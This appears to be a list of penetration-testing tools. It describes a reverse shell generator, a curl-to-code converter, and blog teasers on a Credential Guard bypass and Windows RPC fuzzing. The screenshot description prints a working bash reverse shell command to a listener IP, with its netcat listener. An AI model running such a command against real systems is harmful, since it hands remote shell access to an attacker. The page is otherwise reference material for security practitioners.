Reverse Shell

<https://www.revshells.com/>

Reverse Shell Generator where you can provide your parameters and the right code gets created.

The screenshot shows the 'Reverse Shell Generator' web application. The title 'Reverse Shell Generator' is at the top. Below it, there are two main sections: 'IP & Port' and 'Listener'. In the 'IP & Port' section, the IP is set to '10.9.0.64' and the Port is '4445'. The 'Listener' section shows a command 'nc -lvp 4445' and a 'Type' dropdown set to 'nc'. Below these sections, there are tabs for 'Reverse', 'Bind', and 'MSFVenom'. The 'Reverse' tab is active. Under the 'Reverse' tab, there is an 'OS' dropdown set to 'All' and a 'Show Advanced' toggle. A list of OS options is visible: 'Bash -i', 'Bash 196', 'Bash read line', 'Bash 5', 'Bash udp', and 'nc mkfifo'. The 'Bash -i' option is selected. The main area displays the generated command: `sh -i >& /dev/tcp/10.9.0.64/4445 0>&1`.

Convert Curl commands

<https://curl.trillworks.com/>

Convert any curl syntax to Python, Node.js, PHP, R, Go, Rust, Elixir, Java, MATLAB, Ansible URI, Strest, Dart and JSON.

Convert [curl](#) commands to Python, JavaScript, PHP, R, Go, Rust, Elixir, Java, MATLAB, Dart, CFML, Ansible URI, Strest or JSON

Fork me on GitHub

curl command

Examples: [GET](#) - [POST](#) - [Basic Auth](#)

```
curl example.com
```

[Ansible](#) [CFML](#) [Dart](#) [Elixir](#) [Go](#) [Java](#) [JavaScript](#) [JSON](#) [Node.js](#) [MATLAB](#) [PHP](#) [Python](#) [R](#) [Rust](#) [Strest](#)

```
import requests

response = requests.get('http://example.com')
```

[Copy to clipboard](#)

Revisiting a Credential Guard Bypass

You probably have already heard or read about this clever Credential Guard bypass which consists in simply patching two global variables in LSASS. All the implementations I have...

Fuzzing Windows RPC with RpcView

The recent release of PetitPotam by @topotam77 motivated me to get back to Windows RPC fuzzing. On this occasion, I thought it would be cool to write a blog post explaining how one...
